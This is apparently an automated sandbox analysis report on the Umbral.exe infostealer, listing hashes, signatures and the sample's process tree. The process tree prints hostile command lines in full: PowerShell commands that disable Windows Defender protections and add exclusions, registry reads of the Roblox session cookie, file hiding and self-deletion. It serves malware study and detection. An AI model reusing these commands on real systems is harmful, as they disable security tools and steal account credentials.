Analysis
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max time kernel
137s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
06-05-2024 12:05
Behavioral task
behavioral1
Sample
Umbral.exe
Resource
win7-20240221-en
General
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Target
Umbral.exe
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Size
232KB
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MD5
afbe250f9d941daf1fc895e29d0b2821
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SHA1
9aeaa55efa56702a0c2694ff2de3a5c6df7b03ac
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SHA256
628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6
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SHA512
177ddc51032af306d32c0826efddfa3be5e68621b440be764fba7ad37fd982fb58d7e902e4eb258fe50bbd236f82457e45e7d12a885c78314b304e72fb0f2c94
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SSDEEP
6144:tloZMDXU9Zx0kt8X0/PSCsMpwpf3tW+x5R0STTKN0b8e1mKISi:voZnf0kkPQwpf3tW+x5R0STTKm2
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral2/memory/1968-0-0x000002053D150000-0x000002053D190000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4788 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3396 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1900 PING.EXE -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 1968 Umbral.exe 4788 powershell.exe 4788 powershell.exe 3112 powershell.exe 3112 powershell.exe 2996 powershell.exe 2996 powershell.exe 4320 powershell.exe 4320 powershell.exe 4448 powershell.exe 4448 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1968 Umbral.exe Token: SeIncreaseQuotaPrivilege 1624 wmic.exe Token: SeSecurityPrivilege 1624 wmic.exe Token: SeTakeOwnershipPrivilege 1624 wmic.exe Token: SeLoadDriverPrivilege 1624 wmic.exe Token: SeSystemProfilePrivilege 1624 wmic.exe Token: SeSystemtimePrivilege 1624 wmic.exe Token: SeProfSingleProcessPrivilege 1624 wmic.exe Token: SeIncBasePriorityPrivilege 1624 wmic.exe Token: SeCreatePagefilePrivilege 1624 wmic.exe Token: SeBackupPrivilege 1624 wmic.exe Token: SeRestorePrivilege 1624 wmic.exe Token: SeShutdownPrivilege 1624 wmic.exe Token: SeDebugPrivilege 1624 wmic.exe Token: SeSystemEnvironmentPrivilege 1624 wmic.exe Token: SeRemoteShutdownPrivilege 1624 wmic.exe Token: SeUndockPrivilege 1624 wmic.exe Token: SeManageVolumePrivilege 1624 wmic.exe Token: 33 1624 wmic.exe Token: 34 1624 wmic.exe Token: 35 1624 wmic.exe Token: 36 1624 wmic.exe Token: SeIncreaseQuotaPrivilege 1624 wmic.exe Token: SeSecurityPrivilege 1624 wmic.exe Token: SeTakeOwnershipPrivilege 1624 wmic.exe Token: SeLoadDriverPrivilege 1624 wmic.exe Token: SeSystemProfilePrivilege 1624 wmic.exe Token: SeSystemtimePrivilege 1624 wmic.exe Token: SeProfSingleProcessPrivilege 1624 wmic.exe Token: SeIncBasePriorityPrivilege 1624 wmic.exe Token: SeCreatePagefilePrivilege 1624 wmic.exe Token: SeBackupPrivilege 1624 wmic.exe Token: SeRestorePrivilege 1624 wmic.exe Token: SeShutdownPrivilege 1624 wmic.exe Token: SeDebugPrivilege 1624 wmic.exe Token: SeSystemEnvironmentPrivilege 1624 wmic.exe Token: SeRemoteShutdownPrivilege 1624 wmic.exe Token: SeUndockPrivilege 1624 wmic.exe Token: SeManageVolumePrivilege 1624 wmic.exe Token: 33 1624 wmic.exe Token: 34 1624 wmic.exe Token: 35 1624 wmic.exe Token: 36 1624 wmic.exe Token: SeDebugPrivilege 4788 powershell.exe Token: SeDebugPrivilege 3112 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeDebugPrivilege 4320 powershell.exe Token: SeIncreaseQuotaPrivilege 4936 wmic.exe Token: SeSecurityPrivilege 4936 wmic.exe Token: SeTakeOwnershipPrivilege 4936 wmic.exe Token: SeLoadDriverPrivilege 4936 wmic.exe Token: SeSystemProfilePrivilege 4936 wmic.exe Token: SeSystemtimePrivilege 4936 wmic.exe Token: SeProfSingleProcessPrivilege 4936 wmic.exe Token: SeIncBasePriorityPrivilege 4936 wmic.exe Token: SeCreatePagefilePrivilege 4936 wmic.exe Token: SeBackupPrivilege 4936 wmic.exe Token: SeRestorePrivilege 4936 wmic.exe Token: SeShutdownPrivilege 4936 wmic.exe Token: SeDebugPrivilege 4936 wmic.exe Token: SeSystemEnvironmentPrivilege 4936 wmic.exe Token: SeRemoteShutdownPrivilege 4936 wmic.exe Token: SeUndockPrivilege 4936 wmic.exe Token: SeManageVolumePrivilege 4936 wmic.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1968 wrote to memory of 1624 1968 Umbral.exe 83 PID 1968 wrote to memory of 1624 1968 Umbral.exe 83 PID 1968 wrote to memory of 2112 1968 Umbral.exe 86 PID 1968 wrote to memory of 2112 1968 Umbral.exe 86 PID 1968 wrote to memory of 4788 1968 Umbral.exe 89 PID 1968 wrote to memory of 4788 1968 Umbral.exe 89 PID 1968 wrote to memory of 3112 1968 Umbral.exe 91 PID 1968 wrote to memory of 3112 1968 Umbral.exe 91 PID 1968 wrote to memory of 2996 1968 Umbral.exe 95 PID 1968 wrote to memory of 2996 1968 Umbral.exe 95 PID 1968 wrote to memory of 4320 1968 Umbral.exe 97 PID 1968 wrote to memory of 4320 1968 Umbral.exe 97 PID 1968 wrote to memory of 4936 1968 Umbral.exe 101 PID 1968 wrote to memory of 4936 1968 Umbral.exe 101 PID 1968 wrote to memory of 4532 1968 Umbral.exe 103 PID 1968 wrote to memory of 4532 1968 Umbral.exe 103 PID 1968 wrote to memory of 4600 1968 Umbral.exe 105 PID 1968 wrote to memory of 4600 1968 Umbral.exe 105 PID 1968 wrote to memory of 4448 1968 Umbral.exe 107 PID 1968 wrote to memory of 4448 1968 Umbral.exe 107 PID 1968 wrote to memory of 3396 1968 Umbral.exe 109 PID 1968 wrote to memory of 3396 1968 Umbral.exe 109 PID 1968 wrote to memory of 4776 1968 Umbral.exe 112 PID 1968 wrote to memory of 4776 1968 Umbral.exe 112 PID 4776 wrote to memory of 1900 4776 cmd.exe 114 PID 4776 wrote to memory of 1900 4776 cmd.exe 114 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2112 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Views/modifies file attributes
PID:2112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4788
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2996
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4320
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4936
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:4532
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:4600
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4448
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:3396
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause2⤵
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:1900
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
948B
MD5c65738617888921a153bd9b1ef516ee7
SHA15245e71ea3c181d76320c857b639272ac9e079b1
SHA2564640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26
SHA5122e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa
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Filesize
1KB
MD588be3bc8a7f90e3953298c0fdbec4d72
SHA1f4969784ad421cc80ef45608727aacd0f6bf2e4b
SHA256533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a
SHA5124fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c
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Filesize
1KB
MD52984662ba3f86d7fcf26758b5b76754d
SHA1bc2a43ffd898222ee84406313f3834f226928379
SHA256f0815f797b0c1829745dd65985f28d459688f91ceb2f3d76fed2d4309589bcde
SHA512a06251a7a14559ebf5627a3c6b03fda9ded1d4ee44991283c824ccf5011cdf67665696d2d9b23507cbb3e3b9943b9e9f79ef28d3657eb61fb99920225417ab11
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82